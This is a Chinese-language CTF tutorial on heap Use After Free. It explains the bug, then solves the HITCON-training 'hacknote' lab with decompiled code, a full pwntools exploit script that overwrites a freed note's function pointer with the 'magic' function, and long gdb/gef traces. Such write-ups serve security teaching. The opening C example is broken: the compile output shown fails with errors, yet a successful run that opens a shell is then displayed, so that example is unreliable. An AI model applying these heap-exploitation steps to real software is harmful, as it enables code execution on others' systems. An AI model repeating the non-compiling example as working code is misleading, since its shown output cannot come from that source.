原理
简单的说,Use After Free 就是其字面所表达的意思,当一个内存 块被释放之后再次被使用。但是其实这里有以下几种情况
内存 块被释放后,其对应的指针 被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转 。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题 。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
这里给出一个简单的例子
#include <stdio.h> #include <stdlib.h> typedef void (*func_ptr)(char *); void evil_fuc(char command[]) { system(command); } void echo(char content[]) { printf("%s",content); } int main() { func_ptr *p1=(func_ptr*)malloc(4*sizeof(int)); printf("malloc addr: %p\n",p1); p1=echo; p1("hello world\n"); free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针 p1("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用. func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来. printf("malloc addr: %p\n",p2); printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址 p1=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针. p2("/bin/sh"); return 0; }
编译:
$ gcc 2.cpp -o 2 -m32 2.cpp: In function ‘int main()’: 2.cpp:16:7: error: cannot convert ‘void(char*)’ to ‘void (**)(char*)’ in assignment p1=echo; ^ 2.cpp:17:23: error: ‘p1’ cannot be used as a function p1("hello world\n"); ^ 2.cpp:19:23: error: ‘p1’ cannot be used as a function p1("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用. ^ 2.cpp:23:7: error: cannot convert ‘void(char*)’ to ‘void (**)(char*)’ in assignment p1=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成 ^ 2.cpp:24:17: error: ‘p2’ cannot be used as a function p2("/bin/sh");
运行结果如下:
$ ./2 malloc addr: 0x8e83008 hello world hello again malloc addr: 0x8e83008 malloc addr: 0x8e83008 $ id uid=1000(oldthree) gid=1000(oldthree) groups=1000(oldthree),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
例题
这里我们以 HITCON-training 中的 lab 10 hacknote 为例。
功能分析
我们可以简单分析下程序,可以看出在程序的开头有个 menu 函数,其中有
puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit ");
故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。
add_note
根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
unsigned int add_note() { note *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } notelist[i]->put = print_note_content; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; v0->content = malloc(size); if ( !notelist[i]->content ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i]->content, size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
print_note
unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]); return __readgsdword(0x14u) ^ v3; }
delete_note
delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(notelist[v1]->content); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
magic
int magic() { return system("cat /home/hacknote/flag"); }
利用分析
我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数,我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢?
我们可以简单来看一下每一个 note 生成的具体流程
程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。
程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
+-----------------+ | put | +-----------------+ | b* content | size +-----------------+------------------->+----------------+ | real | | content | | | +----------------+
那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下
申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
释放 note0
释放 note1
此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
脚本
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) #gdb.attach(r) magic = 0x08048986 addnote(32, "aaaa") # add note 0 addnote(32, "ddaa") # add note 1 delnote(0) # delete note 0 delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()
gdb进行调试看一下执行的流程,首先下断点
两处 malloc 下断点
gdb-peda$ b* 0x0804875C Breakpoint 1 at 0x804875c gdb-peda$ b *0x080486CA Breakpoint 2 at 0x80486ca
两处 free 下断点
gdb-peda$ b *0x08048893 Breakpoint 3 at 0x8048893 gdb-peda$ b *0x080488A9 Breakpoint 4 at 0x80488a9
然后继续执行程序,可以看出申请 note0 时,所申请到的内存块地址为 0x0924d008。(eax 存储函数返回值)
$eax : 0x08a6a008 → 0x00000000 $ebx : 0x0 $ecx : 0xf7f2e780 → 0x00000000 $edx : 0x08a6a008 → 0x00000000 $esp : 0xffa50030 → 0x00000008 $ebp : 0xffa50068 → 0xffa50088 → 0x00000000 $esi : 0xf7f2e000 → 0x001afdb0 $edi : 0xf7f2e000 → 0x001afdb0 $eip : 0x080486cf → <add_note+89> add esp, 0x10 $eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffa50030│+0x0000: 0x00000008 ← $esp 0xffa50034│+0x0004: 0x00000000 0xffa50038│+0x0008: 0xf7dadc75 → <strtol+5> add eax, 0x18038b 0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c 0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000 0xffa50044│+0x0014: 0x00000000 0xffa50048│+0x0018: 0x0000000a 0xffa5004c│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80486c2 <add_note+76> add DWORD PTR [eax], eax 0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al 0x80486ca <add_note+84> call 0x80484e0 <[email protected] > ●→ 0x80486cf <add_note+89> add esp, 0x10 0x80486d2 <add_note+92> mov edx, eax 0x80486d4 <add_note+94> mov eax, DWORD PTR [ebp-0x1c] 0x80486d7 <add_note+97> mov DWORD PTR [eax*4+0x804a070], edx 0x80486de <add_note+104> mov eax, DWORD PTR [ebp-0x1c] 0x80486e1 <add_note+107> mov eax, DWORD PTR [eax*4+0x804a070] ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped 0x80486cf in add_note (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80486cf → add_note() [#1] 0x8048ac5 → main() ──────────────────────────────────────────────────────────────────────────────── gef➤ heap chunk 0x08a6a008 Chunk(addr=0x8a6a008, size=0x10, flags=PREV_INUSE) Chunk size: 16 (0x10) Usable size: 12 (0xc) Previous chunk size: 0 (0x0) PREV_INUSE flag: On IS_MMAPPED flag: Off NON_MAIN_ARENA flag: Off
申请 note 0 的content 的地址为 0x08a6a018
$eax : 0x08a6a018 → 0x00000000 $ebx : 0x08a6a008 → 0x0804865b → <print_note_content+0> push ebp $ecx : 0xf7f2e780 → 0x00000000 $edx : 0x08a6a018 → 0x00000000 $esp : 0xffa50030 → 0x00000020 $ebp : 0xffa50068 → 0xffa50088 → 0x00000000 $esi : 0xf7f2e000 → 0x001afdb0 $edi : 0xf7f2e000 → 0x001afdb0 $eip : 0x08048761 → <add_note+235> add esp, 0x10 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffa50030│+0x0000: 0x00000020 ← $esp 0xffa50034│+0x0004: 0xffa50054 → 0xf70a3233 0xffa50038│+0x0008: 0x00000008 0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c 0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000 0xffa50044│+0x0014: 0x00000000 0xffa50048│+0x0018: 0x0000000a 0xffa5004c│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048752 <add_note+220> mov al, ds:0x458b0804 0x8048757 <add_note+225> call 0x581173df 0x804875c <add_note+230> call 0x80484e0 <[email protected] > ●→ 0x8048761 <add_note+235> add esp, 0x10 0x8048764 <add_note+238> mov DWORD PTR [ebx+0x4], eax 0x8048767 <add_note+241> mov eax, DWORD PTR [ebp-0x1c] 0x804876a <add_note+244> mov eax, DWORD PTR [eax*4+0x804a070] 0x8048771 <add_note+251> mov eax, DWORD PTR [eax+0x4] 0x8048774 <add_note+254> test eax, eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped 0x8048761 in add_note (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048761 → add_note() [#1] 0x8048ac5 → main() ──────────────────────────────────────────────────────────────────────────────── gef➤ heap chunk 0x08a6a018 Chunk(addr=0x8a6a018, size=0x28, flags=PREV_INUSE) Chunk size: 40 (0x28) Usable size: 36 (0x24) Previous chunk size: 0 (0x0) PREV_INUSE flag: On IS_MMAPPED flag: Off NON_MAIN_ARENA flag: Off
类似的,我们可以得到 note1 的地址以及其 content 的地址分别为 0x08a6a040 和 0x08a6a050。
同时,我们还可以看到 note0 与 note1 对应的 content 确实是相应的内存块。
gef➤ grep aaaa [+] Searching 'aaaa' in memory [+] In '[heap]'(0x8a6a000-0x8a8b000), permission=rw- 0x8a6a018 - 0x8a6a01e → "aaaa\n" gef➤ grep ddaa [+] Searching 'ddaa' in memory [+] In '[heap]'(0x8a6a000-0x8a8b000), permission=rw- 0x8a6a050 - 0x8a6a056 → "ddaa\n"
下面就是 free 的过程了。我们可以依次发现首先,note0 的 content 被 free
然后是 note0 本身
当我们将 note1 也全部删除完毕后,再次观看 bins。可以看出,后删除的 chunk 块确实处于表头。
gef➤ heap bins [+] No Tcache in this version of libc ──────────────────────── Fastbins for arena 0xf7f2e780 ──────────────────────── Fastbins[idx=0, size=0x10] ← Chunk(addr=0x8a6a008, size=0x10, flags=PREV_INUSE) Fastbins[idx=1, size=0x18] 0x00 Fastbins[idx=2, size=0x20] 0x00 Fastbins[idx=3, size=0x28] ← Chunk(addr=0x8a6a050, size=0x28, flags=PREV_INUSE) ← Chunk(addr=0x8a6a018, size=0x28, flags=PREV_INUSE) Fastbins[idx=4, size=0x30] 0x00 Fastbins[idx=5, size=0x38] 0x00 Fastbins[idx=6, size=0x40] 0x00 ───────────────────── Unsorted Bin for arena '*0xf7f2e780' ───────────────────── [+] Found 0 chunks in unsorted bin. ────────────────────── Small Bins for arena '*0xf7f2e780' ────────────────────── [+] Found 0 chunks in 0 small non-empty bins. ────────────────────── Large Bins for arena '*0xf7f2e780' ────────────────────── [+] Found 0 chunks in 0 large non-empty bins.
那么,此时即将要申请 note2,我们可以看下 note2 都申请到了什么内存块,如下
申请 note2 对应的内存块为 0x08a6a040,其实就是 note1 对应的内存地址。
$eax : 0x08a6a040 → 0x08a6a000 → 0x00000000 $ebx : 0x0 $ecx : 0xf7f2e780 → 0x00000000 $edx : 0x08a6a040 → 0x08a6a000 → 0x00000000 $esp : 0xffa50030 → 0x00000008 $ebp : 0xffa50068 → 0xffa50088 → 0x00000000 $esi : 0xf7f2e000 → 0x001afdb0 $edi : 0xf7f2e000 → 0x001afdb0 $eip : 0x080486cf → <add_note+89> add esp, 0x10 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffa50030│+0x0000: 0x00000008 ← $esp 0xffa50034│+0x0004: 0x08048c63 → "Your choice :" 0xffa50038│+0x0008: 0xf7dadc75 → <strtol+5> add eax, 0x18038b 0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c 0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000 0xffa50044│+0x0014: 0x00000000 0xffa50048│+0x0018: 0x0000000a 0xffa5004c│+0x001c: 0x00000002 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80486c2 <add_note+76> add DWORD PTR [eax], eax 0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al 0x80486ca <add_note+84> call 0x80484e0 <[email protected] > ●→ 0x80486cf <add_note+89> add esp, 0x10 0x80486d2 <add_note+92> mov edx, eax 0x80486d4 <add_note+94> mov eax, DWORD PTR [ebp-0x1c] 0x80486d7 <add_note+97> mov DWORD PTR [eax*4+0x804a070], edx 0x80486de <add_note+104> mov eax, DWORD PTR [ebp-0x1c] 0x80486e1 <add_note+107> mov eax, DWORD PTR [eax*4+0x804a070] ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped 0x80486cf in add_note (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80486cf → add_note() [#1] 0x8048ac5 → main()
申请 note2 的 content 的内存地址为 0x08a6a008,就是 note0 对应的地址,即此时我们向 note2 的 content 写内容,就会将 note0 的 put 字段覆盖。
$eax : 0x08a6a008 → 0x00000000 $ebx : 0x08a6a040 → 0x0804865b → <print_note_content+0> push ebp $ecx : 0xf7f2e780 → 0x00000000 $edx : 0x08a6a008 → 0x00000000 $esp : 0xffa50030 → 0x00000008 $ebp : 0xffa50068 → 0xffa50088 → 0x00000000 $esi : 0xf7f2e000 → 0x001afdb0 $edi : 0xf7f2e000 → 0x001afdb0 $eip : 0x08048761 → <add_note+235> add esp, 0x10 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffa50030│+0x0000: 0x00000008 ← $esp 0xffa50034│+0x0004: 0xffa50054 → 0xf7e50a38 → <pwrite64+120> hlt 0xffa50038│+0x0008: 0x00000008 0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c 0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000 0xffa50044│+0x0014: 0x00000000 0xffa50048│+0x0018: 0x0000000a 0xffa5004c│+0x001c: 0x00000002 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048752 <add_note+220> mov al, ds:0x458b0804 0x8048757 <add_note+225> call 0x581173df 0x804875c <add_note+230> call 0x80484e0 <[email protected] > ●→ 0x8048761 <add_note+235> add esp, 0x10 0x8048764 <add_note+238> mov DWORD PTR [ebx+0x4], eax 0x8048767 <add_note+241> mov eax, DWORD PTR [ebp-0x1c] 0x804876a <add_note+244> mov eax, DWORD PTR [eax*4+0x804a070] 0x8048771 <add_note+251> mov eax, DWORD PTR [eax+0x4] 0x8048774 <add_note+254> test eax, eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped 0x8048761 in add_note (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048761 → add_note() [#1] 0x8048ac5 → main()
我们来具体检验一下,看一下覆盖前的情况,可以看到该内存块的 put 指针已经被置为 NULL 了,这是由 fastbin 的 free 机制决定的。
gef➤ x/2xw 0x08a6a008 0x8a6a008: 0x00000000 0x08a6a018
覆盖后,具体的值如下
gef➤ x/2xw 0x08a6a008 0x8a6a008: 0x08048986 0x08a6a00a gef➤ x/i 0x08048986 0x8048986 <magic>: push ebp
最后执行效果如下
[+] Starting local process './hacknote': pid 3232 [*] running in new terminal: /usr/bin/gdb -q "./hacknote" 3232 [-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope) [*] Switching to interactive mode flag{use_after_free}---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ----------------------
同时,我们还可以借助 gef 的 heap-analysis-helper 来看一下整体的堆的申请与释放的情况,如下
gef➤ heap-analysis-helper [*] This feature is under development, expect bugs and unstability... [+] Tracking malloc() & calloc() [+] Tracking free() [+] Tracking realloc() [+] Disabling hardware watchpoints (this may increase the latency) [+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found. [*] Note: The heap analysis slows down the execution noticeably. gef➤ c Continuing. [+] Heap-Analysis - __libc_malloc(8)=0x9bba008 [+] Heap-Analysis - __libc_malloc(8)=0x9bba008 [+] Heap-Analysis - __libc_malloc(32)=0x9bba018 [+] Heap-Analysis - __libc_malloc(8)=0x9bba040 [+] Heap-Analysis - __libc_malloc(32)=0x9bba050 [+] Heap-Analysis - free(0x9bba018) [+] Heap-Analysis - free(0x9bba008) [+] Heap-Analysis - free(0x9bba050) [+] Heap-Analysis - free(0x9bba040) [+] Heap-Analysis - __libc_malloc(8)=0x9bba040 [+] Heap-Analysis - __libc_malloc(8)=0x9bba008
这里第一个输出了两次,应该是 gef 工具的问题。
题目
FROM :ol4three.com | Author:ol4three
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
评论